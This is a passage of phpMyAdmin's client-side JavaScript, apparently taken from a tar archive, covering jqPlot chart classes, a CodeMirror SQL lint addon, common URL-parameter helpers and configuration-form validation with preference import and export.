BaseChart.prototype.validateColumns.call(this, dataTable); if (result) { var columns = dataTable.getColumns(); if (columns[0].type !== ColumnType.DATE) { throw new Error('First column of timeline chart need to be a date column'); } } return result; }; /** * Abstract scatter chart * * @param elementId * id of the div element the chart is drawn in */ var ScatterChart = function (elementId) { BaseChart.call(this, elementId); }; ScatterChart.prototype = new BaseChart(); ScatterChart.prototype.constructor = ScatterChart; ScatterChart.prototype.validateColumns = function (dataTable) { var result = BaseChart.prototype.validateColumns.call(this, dataTable); if (result) { var columns = dataTable.getColumns(); if (columns[0].type !== ColumnType.NUMBER) { throw new Error('First column of scatter chart need to be a numeric column'); } } return result; }; /** * The data table contains column information and data for the chart. */ // eslint-disable-next-line no-unused-vars var DataTable = function () { var columns = []; var data = null; this.addColumn = function (type, name) { columns.push({ 'type' : type, 'name' : name }); }; this.getColumns = function () { return columns; }; this.setData = function (rows) { data = rows; fillMissingValues(); }; this.getData = function () { return data; }; var fillMissingValues = function () { if (columns.length === 0) { throw new Error('Set columns first'); } var row; for (var i = 0; i < data.length; i++) { row = data[i]; if (row.length > columns.length) { row.splice(columns.length - 1, row.length - columns.length); } else if (row.length < columns.length) { for (var j = row.length; j < columns.length; j++) { row.push(null); } } } }; }; /** ***************************************************************************** * JQPlot specific code ******************************************************************************/ /** * Abstract JQplot chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotChart = function (elementId) { Chart.call(this, elementId); this.plot = null; this.validator = null; }; JQPlotChart.prototype = new Chart(); JQPlotChart.prototype.constructor = JQPlotChart; JQPlotChart.prototype.draw = function (data, options) { if (this.validator.validateColumns(data)) { this.plot = $.jqplot(this.elementId, this.prepareData(data), this .populateOptions(data, options)); } }; JQPlotChart.prototype.destroy = function () { if (this.plot !== null) { this.plot.destroy(); } }; JQPlotChart.prototype.redraw = function (options) { if (this.plot !== null) { this.plot.replot(options); } }; JQPlotChart.prototype.toImageString = function () { if (this.plot !== null) { return $('#' + this.elementId).jqplotToImageStr({}); } }; JQPlotChart.prototype.populateOptions = function () { throw new Error('populateOptions must be implemented by a subclass'); }; JQPlotChart.prototype.prepareData = function () { throw new Error('prepareData must be implemented by a subclass'); }; /** * JQPlot line chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotLineChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = BaseChart.prototype; }; JQPlotLineChart.prototype = new JQPlotChart(); JQPlotLineChart.prototype.constructor = JQPlotLineChart; JQPlotLineChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes : { xaxis : { label : columns[0].name, renderer : $.jqplot.CategoryAxisRenderer, ticks : [] }, yaxis : { label : (columns.length === 2 ? columns[1].name : 'Values'), labelRenderer : $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'y', formatString:'%d' }, series : [] }; $.extend(true, optional, options); if (optional.series.length === 0) { for (var i = 1; i < columns.length; i++) { optional.series.push({ label : columns[i].name.toString() }); } } if (optional.axes.xaxis.ticks.length === 0) { var data = dataTable.getData(); for (var j = 0; j < data.length; j++) { optional.axes.xaxis.ticks.push(data[j][0].toString()); } } return optional; }; JQPlotLineChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } retRow.push(row[j]); } } return retData; }; /** * JQPlot spline chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotSplineChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotSplineChart.prototype = new JQPlotLineChart(); JQPlotSplineChart.prototype.constructor = JQPlotSplineChart; JQPlotSplineChart.prototype.populateOptions = function (dataTable, options) { var optional = {}; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults : { rendererOptions : { smooth : true } } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot scatter chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotScatterChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = ScatterChart.prototype; }; JQPlotScatterChart.prototype = new JQPlotChart(); JQPlotScatterChart.prototype.constructor = JQPlotScatterChart; JQPlotScatterChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes : { xaxis : { label : columns[0].name }, yaxis : { label : (columns.length === 2 ? columns[1].name : 'Values'), labelRenderer : $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'xy', formatString:'%d, %d' }, series : [] }; for (var i = 1; i < columns.length; i++) { optional.series.push({ label : columns[i].name.toString() }); } var compulsory = { seriesDefaults : { showLine: false, markerOptions: { size: 7, style: 'x' } } }; $.extend(true, optional, options, compulsory); return optional; }; JQPlotScatterChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; if (row[0]) { for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } retRow.push([row[0], row[j]]); } } } return retData; }; /** * JQPlot timeline chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotTimelineChart = function (elementId) { JQPlotLineChart.call(this, elementId); this.validator = TimelineChart.prototype; }; JQPlotTimelineChart.prototype = new JQPlotLineChart(); JQPlotTimelineChart.prototype.constructor = JQPlotTimelineChart; JQPlotTimelineChart.prototype.populateOptions = function (dataTable, options) { var optional = { axes : { xaxis : { tickOptions : { formatString: '%b %#d, %y' } } } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { axes : { xaxis : { renderer : $.jqplot.DateAxisRenderer } } }; $.extend(true, optional, opt, compulsory); return optional; }; JQPlotTimelineChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var d; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; d = row[0]; for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } // See https://github.com/phpmyadmin/phpmyadmin/issues/14395 for the block if (d !== null && typeof d === 'object') { retRow.push([d.getTime(), row[j]]); } else if (typeof d === 'string') { d = new Date(d); retRow.push([d.getTime(), row[j]]); } } } return retData; }; /** * JQPlot area chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotAreaChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotAreaChart.prototype = new JQPlotLineChart(); JQPlotAreaChart.prototype.constructor = JQPlotAreaChart; JQPlotAreaChart.prototype.populateOptions = function (dataTable, options) { var optional = { seriesDefaults : { fillToZero : true } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults : { fill : true } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot column chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotColumnChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotColumnChart.prototype = new JQPlotLineChart(); JQPlotColumnChart.prototype.constructor = JQPlotColumnChart; JQPlotColumnChart.prototype.populateOptions = function (dataTable, options) { var optional = { seriesDefaults : { fillToZero : true } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults : { renderer : $.jqplot.BarRenderer } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot bar chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotBarChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotBarChart.prototype = new JQPlotLineChart(); JQPlotBarChart.prototype.constructor = JQPlotBarChart; JQPlotBarChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes : { yaxis : { label : columns[0].name, labelRenderer : $.jqplot.CanvasAxisLabelRenderer, renderer : $.jqplot.CategoryAxisRenderer, ticks : [] }, xaxis : { label : (columns.length === 2 ? columns[1].name : 'Values'), labelRenderer : $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'x', formatString:'%d' }, series : [], seriesDefaults : { fillToZero : true } }; var compulsory = { seriesDefaults : { renderer : $.jqplot.BarRenderer, rendererOptions : { barDirection : 'horizontal' } } }; $.extend(true, optional, options, compulsory); if (optional.axes.yaxis.ticks.length === 0) { var data = dataTable.getData(); for (var i = 0; i < data.length; i++) { optional.axes.yaxis.ticks.push(data[i][0].toString()); } } if (optional.series.length === 0) { for (var j = 1; j < columns.length; j++) { optional.series.push({ label : columns[j].name.toString() }); } } return optional; }; /** * JQPlot pie chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotPieChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = PieChart.prototype; }; JQPlotPieChart.prototype = new JQPlotChart(); JQPlotPieChart.prototype.constructor = JQPlotPieChart; JQPlotPieChart.prototype.populateOptions = function (dataTable, options) { var optional = { highlighter: { show: true, tooltipAxes: 'xy', formatString:'%s, %d', useAxesFormatters: false }, legend: { renderer: $.jqplot.EnhancedPieLegendRenderer, }, }; var compulsory = { seriesDefaults : { shadow: false, renderer : $.jqplot.PieRenderer, rendererOptions: { sliceMargin: 1, showDataLabels: true } } }; $.extend(true, optional, options, compulsory); return optional; }; JQPlotPieChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; for (var i = 0; i < data.length; i++) { row = data[i]; retData.push([row[0], row[1]]); } return [retData]; }; /** * Chart factory that returns JQPlotCharts */ var JQPlotChartFactory = function () { }; JQPlotChartFactory.prototype = new ChartFactory(); JQPlotChartFactory.prototype.createChart = function (type, elementId) { var chart = null; switch (type) { case ChartType.LINE: chart = new JQPlotLineChart(elementId); break; case ChartType.SPLINE: chart = new JQPlotSplineChart(elementId); break; case ChartType.TIMELINE: chart = new JQPlotTimelineChart(elementId); break; case ChartType.AREA: chart = new JQPlotAreaChart(elementId); break; case ChartType.BAR: chart = new JQPlotBarChart(elementId); break; case ChartType.COLUMN: chart = new JQPlotColumnChart(elementId); break; case ChartType.PIE: chart = new JQPlotPieChart(elementId); break; case ChartType.SCATTER: chart = new JQPlotScatterChart(elementId); break; } return chart; }; src/codemirror/addon/lint/sql-lint.js000066600000002221151724472050013644 0ustar00CodeMirror.sqlLint = function (text, updateLinting, options, cm) { // Skipping check if text box is empty. if (text.trim() === '') { updateLinting(cm, []); return; } function handleResponse (response) { var found = []; for (var idx in response) { found.push({ // eslint-disable-next-line new-cap from: CodeMirror.Pos( response[idx].fromLine, response[idx].fromColumn ), // eslint-disable-next-line new-cap to: CodeMirror.Pos( response[idx].toLine, response[idx].toColumn ), messageHTML: response[idx].message, severity : response[idx].severity }); } updateLinting(cm, found); } $.ajax({ method: 'POST', url: 'index.php?route=/lint', dataType: 'json', data: { 'sql_query': text, 'server': CommonParams.get('server'), 'options': options.lintOptions, 'no_history': true, }, success: handleResponse }); }; src/common.js000066600000012216151724472050007176 0ustar00 $(function () { Functions.checkNumberOfFields(); }); /** * Holds common parameters such as server, db, table, etc * * The content for this is normally loaded from Header.php or * Response.php and executed by ajax.js * * @test-module CommonParams */ var CommonParams = (function () { /** * @var {Object} params An associative array of key value pairs * @access private */ var params = {}; // The returned object is the public part of the module return { /** * Saves all the key value pair that * are provided in the input array * * @param obj hash The input array * * @return {void} */ setAll: function (obj) { var updateNavigation = false; for (var i in obj) { if (params[i] !== undefined && params[i] !== obj[i]) { if (i === 'db' || i === 'table') { updateNavigation = true; } } params[i] = obj[i]; } if (updateNavigation && $('#pma_navigation_tree').hasClass('synced') ) { Navigation.showCurrent(); } }, /** * Retrieves a value given its key * Returns empty string for undefined values * * @param {string} name The key * * @return {string} */ get: function (name) { return params[name]; }, /** * Saves a single key value pair * * @param {string} name The key * @param {string} value The value * * @return {CommonParams} For chainability */ set: function (name, value) { var updateNavigation = false; if (name === 'db' || name === 'table' && params[name] !== value ) { updateNavigation = true; } params[name] = value; if (updateNavigation && $('#pma_navigation_tree').hasClass('synced') ) { Navigation.showCurrent(); } return this; }, /** * Returns the url query string using the saved parameters * * @param {string} separator New separator * * @return {string} */ getUrlQuery: function (separator) { var sep = (typeof separator !== 'undefined') ? separator : '?'; var common = this.get('common_query'); var argsep = CommonParams.get('arg_separator'); if (typeof common === 'string' && common.length > 0) { // If the last char is the separator, do not add it // Else add it common = common.substr(common.length - 1, common.length) === argsep ? common : common + argsep; } return Functions.sprintf( '%s%sserver=%s' + argsep + 'db=%s' + argsep + 'table=%s', sep, common, encodeURIComponent(this.get('server')), encodeURIComponent(this.get('db')), encodeURIComponent(this.get('table')) ); } }; }()); /** * Holds common parameters such as server, db, table, etc * * The content for this is normally loaded from Header.php or * Response.php and executed by ajax.js */ // eslint-disable-next-line no-unused-vars var CommonActions = { /** * Saves the database name when it's changed * and reloads the query window, if necessary * * @param {string} newDb new_db The name of the new database * * @return {void} */ setDb: function (newDb) { if (newDb !== CommonParams.get('db')) { CommonParams.setAll({ 'db': newDb, 'table': '' }); } }, /** * Opens a database in the main part of the page * * @param {string} newDb The name of the new database * * @return {void} */ openDb: function (newDb) { CommonParams .set('db', newDb) .set('table', ''); this.refreshMain( CommonParams.get('opendb_url') ); }, /** * Refreshes the main frame * * @param {any} url Undefined to refresh to the same page * String to go to a different page, e.g: 'index.php' * @param {function | undefined} callback * * @return {void} */ refreshMain: function (url, callback = undefined) { var newUrl = url; if (! newUrl) { newUrl = $('#selflink').find('a').attr('href') || window.location.pathname; newUrl = newUrl.substring(0, newUrl.indexOf('?')); } if (newUrl.indexOf('?') !== -1) { newUrl += CommonParams.getUrlQuery(CommonParams.get('arg_separator')); } else { newUrl += CommonParams.getUrlQuery('?'); } $('', { href: newUrl }) .appendTo('body') .trigger('click') .remove(); if (typeof callback !== 'undefined') { AJAX.callback = callback; } } }; src/config.js000066600000063152151724472050007160 0ustar00/** * Functions used in configuration forms and on user preferences pages */ /* exported PASSIVE_EVENT_LISTENERS */ var configInlineParams; var configScriptLoaded; /** * checks whether browser supports web storage * * @param {'localStorage' | 'sessionStorage'} type the type of storage i.e. localStorage or sessionStorage * @param {boolean} warn Wether to show a warning on error * * @return {boolean} */ function isStorageSupported (type, warn = false) { try { window[type].setItem('PMATest', 'test'); // Check whether key-value pair was set successfully if (window[type].getItem('PMATest') === 'test') { // Supported, remove test variable from storage window[type].removeItem('PMATest'); return true; } } catch (error) { // Not supported if (warn) { Functions.ajaxShowMessage(Messages.strNoLocalStorage, false); } } return false; } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('config.js', function () { $('.optbox input[id], .optbox select[id], .optbox textarea[id]').off('change').off('keyup'); $('.optbox input[type=button][name=submit_reset]').off('click'); $('div.tab-content').off(); $('#import_local_storage, #export_local_storage').off('click'); $('form.prefs-form').off('change').off('submit'); $(document).off('click', 'div.click-hide-message'); $('#prefs_autoload').find('a').off('click'); }); AJAX.registerOnload('config.js', function () { var $topmenuUpt = $('#user_prefs_tabs'); $topmenuUpt.find('a.active').attr('rel', 'samepage'); $topmenuUpt.find('a:not(.active)').attr('rel', 'newpage'); }); // default values for fields var defaultValues = {}; /** * Returns field type * * @param {Element} field * * @return {string} */ function getFieldType (field) { var $field = $(field); var tagName = $field.prop('tagName'); if (tagName === 'INPUT') { return $field.attr('type'); } else if (tagName === 'SELECT') { return 'select'; } else if (tagName === 'TEXTAREA') { return 'text'; } return ''; } /** * Enables or disables the "restore default value" button * * @param {Element} field * @param {boolean} display * * @return {void} */ function setRestoreDefaultBtn (field, display) { var $el = $(field).closest('td').find('.restore-default img'); $el[display ? 'show' : 'hide'](); } /** * Marks field depending on its value (system default or custom) * * @param {Element | JQuery} field * * @return {void} */ function markField (field) { var $field = $(field); var type = getFieldType($field); var isDefault = checkFieldDefault($field, type); // checkboxes uses parent for marking var $fieldMarker = (type === 'checkbox') ? $field.parent() : $field; setRestoreDefaultBtn($field, !isDefault); $fieldMarker[isDefault ? 'removeClass' : 'addClass']('custom'); } /** * Sets field value * * value must be of type: * o undefined (omitted) - restore default value (form default, not PMA default) * o String - if field_type is 'text' * o boolean - if field_type is 'checkbox' * o Array of values - if field_type is 'select' * * @param {Element} field * @param {string} fieldType see {@link #getFieldType} * @param {string | boolean} value */ function setFieldValue (field, fieldType, value) { var $field = $(field); switch (fieldType) { case 'text': case 'number': $field.val(value); break; case 'checkbox': $field.prop('checked', value); break; case 'select': var options = $field.prop('options'); var i; var imax = options.length; for (i = 0; i < imax; i++) { options[i].selected = (value.indexOf(options[i].value) !== -1); } break; } markField($field); } /** * Gets field value * * Will return one of: * o String - if type is 'text' * o boolean - if type is 'checkbox' * o Array of values - if type is 'select' * * @param {Element} field * @param {string} fieldType returned by {@link #getFieldType} * * @return {boolean | string | string[] | null} */ function getFieldValue (field, fieldType) { var $field = $(field); switch (fieldType) { case 'text': case 'number': return $field.prop('value'); case 'checkbox': return $field.prop('checked'); case 'select': var options = $field.prop('options'); var i; var imax = options.length; var items = []; for (i = 0; i < imax; i++) { if (options[i].selected) { items.push(options[i].value); } } return items; } return null; } /** * Returns values for all fields in fieldsets * * @return {object} */ // eslint-disable-next-line no-unused-vars function getAllValues () { var $elements = $('fieldset input, fieldset select, fieldset textarea'); var values = {}; var type; var value; for (var i = 0; i < $elements.length; i++) { type = getFieldType($elements[i]); value = getFieldValue($elements[i], type); if (typeof value !== 'undefined') { // we only have single selects, fatten array if (type === 'select') { value = value[0]; } values[$elements[i].name] = value; } } return values; } /** * Checks whether field has its default value * * @param {Element} field * @param {string} type * * @return {boolean} */ function checkFieldDefault (field, type) { var $field = $(field); var fieldId = $field.attr('id'); if (typeof defaultValues[fieldId] === 'undefined') { return true; } var isDefault = true; var currentValue = getFieldValue($field, type); if (type !== 'select') { isDefault = currentValue === defaultValues[fieldId]; } else { // compare arrays, will work for our representation of select values if (currentValue.length !== defaultValues[fieldId].length) { isDefault = false; } else { for (var i = 0; i < currentValue.length; i++) { if (currentValue[i] !== defaultValues[fieldId][i]) { isDefault = false; break; } } } } return isDefault; } /** * Returns element's id prefix * @param {Element} element * * @return {string} */ // eslint-disable-next-line no-unused-vars function getIdPrefix (element) { return $(element).attr('id').replace(/[^-]+$/, ''); } // ------------------------------------------------------------------ // Form validation and field operations // // form validator assignments var validate = {}; // form validator list var validators = { // regexp: numeric value regExpNumeric: /^[0-9]+$/, // regexp: extract parts from PCRE expression regExpPcreExtract: /(.)(.*)\1(.*)?/, /** * Validates positive number * * @param {boolean} isKeyUp * * @return {boolean} */ validatePositiveNumber: function (isKeyUp) { if (isKeyUp && this.value === '') { return true; } var result = this.value !== '0' && validators.regExpNumeric.test(this.value); return result ? true : Messages.error_nan_p; }, /** * Validates non-negative number * * @param {boolean} isKeyUp * * @return {boolean} */ validateNonNegativeNumber: function (isKeyUp) { if (isKeyUp && this.value === '') { return true; } var result = validators.regExpNumeric.test(this.value); return result ? true : Messages.error_nan_nneg; }, /** * Validates port number * * @return {true|string} */ validatePortNumber: function () { if (this.value === '') { return true; } var result = validators.regExpNumeric.test(this.value) && this.value !== '0'; return result && this.value <= 65535 ? true : Messages.error_incorrect_port; }, /** * Validates value according to given regular expression * * @param {boolean} isKeyUp * @param {string} regexp * * @return {true|string} */ validateByRegex: function (isKeyUp, regexp) { if (isKeyUp && this.value === '') { return true; } // convert PCRE regexp var parts = regexp.match(validators.regExpPcreExtract); var valid = this.value.match(new RegExp(parts[2], parts[3])) !== null; return valid ? true : Messages.error_invalid_value; }, /** * Validates upper bound for numeric inputs * * @param {boolean} isKeyUp * @param {number} maxValue * * @return {true|string} */ validateUpperBound: function (isKeyUp, maxValue) { var val = parseInt(this.value, 10); if (isNaN(val)) { return true; } return val <= maxValue ? true : Functions.sprintf(Messages.error_value_lte, maxValue); }, // field validators field: { }, // fieldset validators fieldset: { } }; /** * Registers validator for given field * * @param {string} id field id * @param {string} type validator (key in validators object) * @param {boolean} onKeyUp whether fire on key up * @param {Array} params validation function parameters */ // eslint-disable-next-line no-unused-vars function registerFieldValidator (id, type, onKeyUp, params) { if (typeof validators[type] === 'undefined') { return; } if (typeof validate[id] === 'undefined') { validate[id] = []; } if (validate[id].length === 0) { validate[id].push([type, params, onKeyUp]); } } /** * Returns validation functions associated with form field * * @param {String} fieldId form field id * @param {boolean} onKeyUpOnly see registerFieldValidator * * @return {any[]} of [function, parameters to be passed to function] */ function getFieldValidators (fieldId, onKeyUpOnly) { // look for field bound validator var name = fieldId && fieldId.match(/[^-]+$/)[0]; if (typeof validators.field[name] !== 'undefined') { return [[validators.field[name], null]]; } // look for registered validators var functions = []; if (typeof validate[fieldId] !== 'undefined') { // validate[field_id]: array of [type, params, onKeyUp] for (var i = 0, imax = validate[fieldId].length; i < imax; i++) { if (onKeyUpOnly && !validate[fieldId][i][2]) { continue; } functions.push([validators[validate[fieldId][i][0]], validate[fieldId][i][1]]); } } return functions; } /** * Displays errors for given form fields * * WARNING: created DOM elements must be identical with the ones made by * PhpMyAdmin\Config\FormDisplayTemplate::displayInput()! * * @param {object} errorList list of errors in the form {field id: error array} */ function displayErrors (errorList) { var tempIsEmpty = function (item) { return item !== ''; }; for (var fieldId in errorList) { var errors = errorList[fieldId]; var $field = $('#' + fieldId); var isFieldset = $field.attr('tagName') === 'FIELDSET'; var $errorCnt; if (isFieldset) { $errorCnt = $field.find('dl.errors'); } else { $errorCnt = $field.siblings('.inline_errors'); } // remove empty errors (used to clear error list) errors = $.grep(errors, tempIsEmpty); // CSS error class if (!isFieldset) { // checkboxes uses parent for marking var $fieldMarker = ($field.attr('type') === 'checkbox') ? $field.parent() : $field; $fieldMarker[errors.length ? 'addClass' : 'removeClass']('field-error'); } if (errors.length) { // if error container doesn't exist, create it if ($errorCnt.length === 0) { if (isFieldset) { $errorCnt = $('
        '); $field.find('table').before($errorCnt); } else { $errorCnt = $('
        '); $field.closest('td').append($errorCnt); } } var html = ''; for (var i = 0, imax = errors.length; i < imax; i++) { html += '
        ' + errors[i] + '
        '; } $errorCnt.html(html); } else if ($errorCnt !== null) { // remove useless error container $errorCnt.remove(); } } } /** * Validates fields and fieldsets and call displayError function as required */ function setDisplayError () { var elements = $('.optbox input[id], .optbox select[id], .optbox textarea[id]'); // run all field validators var errors = {}; for (var i = 0; i < elements.length; i++) { validateField(elements[i], false, errors); } // run all fieldset validators $('fieldset.optbox').each(function () { validateFieldset(this, false, errors); }); displayErrors(errors); } /** * Validates fieldset and puts errors in 'errors' object * * @param {Element} fieldset * @param {boolean} isKeyUp * @param {object} errors */ function validateFieldset (fieldset, isKeyUp, errors) { var $fieldset = $(fieldset); if ($fieldset.length && typeof validators.fieldset[$fieldset.attr('id')] !== 'undefined') { var fieldsetErrors = validators.fieldset[$fieldset.attr('id')].apply($fieldset[0], [isKeyUp]); for (var fieldId in fieldsetErrors) { if (typeof errors[fieldId] === 'undefined') { errors[fieldId] = []; } if (typeof fieldsetErrors[fieldId] === 'string') { fieldsetErrors[fieldId] = [fieldsetErrors[fieldId]]; } $.merge(errors[fieldId], fieldsetErrors[fieldId]); } } } /** * Validates form field and puts errors in 'errors' object * * @param {Element} field * @param {boolean} isKeyUp * @param {object} errors */ function validateField (field, isKeyUp, errors) { var args; var result; var $field = $(field); var fieldId = $field.attr('id'); errors[fieldId] = []; var functions = getFieldValidators(fieldId, isKeyUp); for (var i = 0; i < functions.length; i++) { if (typeof functions[i][1] !== 'undefined' && functions[i][1] !== null) { args = functions[i][1].slice(0); } else { args = []; } args.unshift(isKeyUp); result = functions[i][0].apply($field[0], args); if (result !== true) { if (typeof result === 'string') { result = [result]; } $.merge(errors[fieldId], result); } } } /** * Validates form field and parent fieldset * * @param {Element} field * @param {boolean} isKeyUp */ function validateFieldAndFieldset (field, isKeyUp) { var $field = $(field); var errors = {}; validateField($field, isKeyUp, errors); validateFieldset($field.closest('fieldset.optbox'), isKeyUp, errors); displayErrors(errors); } function loadInlineConfig () { if (!Array.isArray(configInlineParams)) { return; } for (var i = 0; i < configInlineParams.length; ++i) { if (typeof configInlineParams[i] === 'function') { configInlineParams[i](); } } } function setupValidation () { validate = {}; configScriptLoaded = true; if (configScriptLoaded && typeof configInlineParams !== 'undefined') { loadInlineConfig(); } // register validators and mark custom values var $elements = $('.optbox input[id], .optbox select[id], .optbox textarea[id]'); $elements.each(function () { markField(this); var $el = $(this); $el.on('change', function () { validateFieldAndFieldset(this, false); markField(this); }); var tagName = $el.attr('tagName'); // text fields can be validated after each change if (tagName === 'INPUT' && $el.attr('type') === 'text') { $el.on('keyup', function () { validateFieldAndFieldset($el, true); markField($el); }); } // disable textarea spellcheck if (tagName === 'TEXTAREA') { $el.attr('spellcheck', false); } }); // check whether we've refreshed a page and browser remembered modified // form values var $checkPageRefresh = $('#check_page_refresh'); if ($checkPageRefresh.length === 0 || $checkPageRefresh.val() === '1') { // run all field validators var errors = {}; for (var i = 0; i < $elements.length; i++) { validateField($elements[i], false, errors); } // run all fieldset validators $('fieldset.optbox').each(function () { validateFieldset(this, false, errors); }); displayErrors(errors); } else if ($checkPageRefresh) { $checkPageRefresh.val('1'); } } AJAX.registerOnload('config.js', function () { setupValidation(); }); // // END: Form validation and field operations // ------------------------------------------------------------------ function adjustPrefsNotification () { var $prefsAutoLoad = $('#prefs_autoload'); var $tableNameControl = $('#table_name_col_no'); var $prefsAutoShowing = ($prefsAutoLoad.css('display') !== 'none'); if ($prefsAutoShowing && $tableNameControl.length) { $tableNameControl.css('top', '55px'); } } AJAX.registerOnload('config.js', function () { adjustPrefsNotification(); }); // ------------------------------------------------------------------ // Form reset buttons // AJAX.registerOnload('config.js', function () { $('.optbox input[type=button][name=submit_reset]').on('click', function () { var fields = $(this).closest('fieldset').find('input, select, textarea'); for (var i = 0, imax = fields.length; i < imax; i++) { setFieldValue(fields[i], getFieldType(fields[i]), defaultValues[fields[i].id]); } setDisplayError(); }); }); // // END: Form reset buttons // ------------------------------------------------------------------ // ------------------------------------------------------------------ // "Restore default" and "set value" buttons // /** * Restores field's default value * * @param {string} fieldId * * @return {void} */ function restoreField (fieldId) { var $field = $('#' + fieldId); if ($field.length === 0 || defaultValues[fieldId] === undefined) { return; } setFieldValue($field, getFieldType($field), defaultValues[fieldId]); } function setupRestoreField () { $('div.tab-content') .on('mouseenter', '.restore-default, .set-value', function () { $(this).css('opacity', 1); }) .on('mouseleave', '.restore-default, .set-value', function () { $(this).css('opacity', 0.25); }) .on('click', '.restore-default, .set-value', function (e) { e.preventDefault(); var href = $(this).attr('href'); var fieldSel; if ($(this).hasClass('restore-default')) { fieldSel = href; restoreField(fieldSel.substr(1)); } else { fieldSel = href.match(/^[^=]+/)[0]; var value = href.match(/=(.+)$/)[1]; setFieldValue($(fieldSel), 'text', value); } $(fieldSel).trigger('change'); }) .find('.restore-default, .set-value') // inline-block for IE so opacity inheritance works .css({ display: 'inline-block', opacity: 0.25 }); } AJAX.registerOnload('config.js', function () { setupRestoreField(); }); // // END: "Restore default" and "set value" buttons // ------------------------------------------------------------------ // ------------------------------------------------------------------ // User preferences import/export // AJAX.registerOnload('config.js', function () { offerPrefsAutoimport(); var $radios = $('#import_local_storage, #export_local_storage'); if (!$radios.length) { return; } // enable JavaScript dependent fields $radios .prop('disabled', false) .add('#export_text_file, #import_text_file') .on('click', function () { var enableId = $(this).attr('id'); var disableId; if (enableId.match(/local_storage$/)) { disableId = enableId.replace(/local_storage$/, 'text_file'); } else { disableId = enableId.replace(/text_file$/, 'local_storage'); } $('#opts_' + disableId).addClass('disabled').find('input').prop('disabled', true); $('#opts_' + enableId).removeClass('disabled').find('input').prop('disabled', false); }); // detect localStorage state var lsSupported = isStorageSupported('localStorage', true); var lsExists = lsSupported ? (window.localStorage.config || false) : false; $('div.localStorage-' + (lsSupported ? 'un' : '') + 'supported').hide(); $('div.localStorage-' + (lsExists ? 'empty' : 'exists')).hide(); if (lsExists) { updatePrefsDate(); } $('form.prefs-form').on('change', function () { var $form = $(this); var disabled = false; if (!lsSupported) { disabled = $form.find('input[type=radio][value$=local_storage]').prop('checked'); } else if (!lsExists && $form.attr('name') === 'prefs_import' && $('#import_local_storage')[0].checked ) { disabled = true; } $form.find('input[type=submit]').prop('disabled', disabled); }).on('submit', function (e) { var $form = $(this); if ($form.attr('name') === 'prefs_export' && $('#export_local_storage')[0].checked) { e.preventDefault(); // use AJAX to read JSON settings and save them savePrefsToLocalStorage($form); } else if ($form.attr('name') === 'prefs_import' && $('#import_local_storage')[0].checked) { // set 'json' input and submit form $form.find('input[name=json]').val(window.localStorage.config); } }); $(document).on('click', 'div.click-hide-message', function () { $(this).hide(); $(this).parent('.card-body').css('height', ''); $(this).parent('.card-body').find('.prefs-form').show(); }); }); /** * Saves user preferences to localStorage * * @param {Element} form */ function savePrefsToLocalStorage (form) { var $form = $(form); var submit = $form.find('input[type=submit]'); submit.prop('disabled', true); $.ajax({ url: 'index.php?route=/preferences/manage', cache: false, type: 'POST', data: { 'ajax_request': true, 'server': CommonParams.get('server'), 'submit_get_json': true }, success: function (data) { if (typeof data !== 'undefined' && data.success === true) { window.localStorage.config = data.prefs; window.localStorage.configMtime = data.mtime; window.localStorage.configMtimeLocal = (new Date()).toUTCString(); updatePrefsDate(); $('div.localStorage-empty').hide(); $('div.localStorage-exists').show(); var group = $form.parent('.card-body'); group.css('height', group.height() + 'px'); $form.hide('fast'); $form.prev('.click-hide-message').show('fast'); } else { Functions.ajaxShowMessage(data.error); } }, complete: function () { submit.prop('disabled', false); } }); } /** * Updates preferences timestamp in Import form */ function updatePrefsDate () { var d = new Date(window.localStorage.configMtimeLocal); var msg = Messages.strSavedOn.replace( '@DATE@', Functions.formatDateTime(d) ); $('#opts_import_local_storage').find('div.localStorage-exists').html(msg); } /** * Prepares message which informs that localStorage 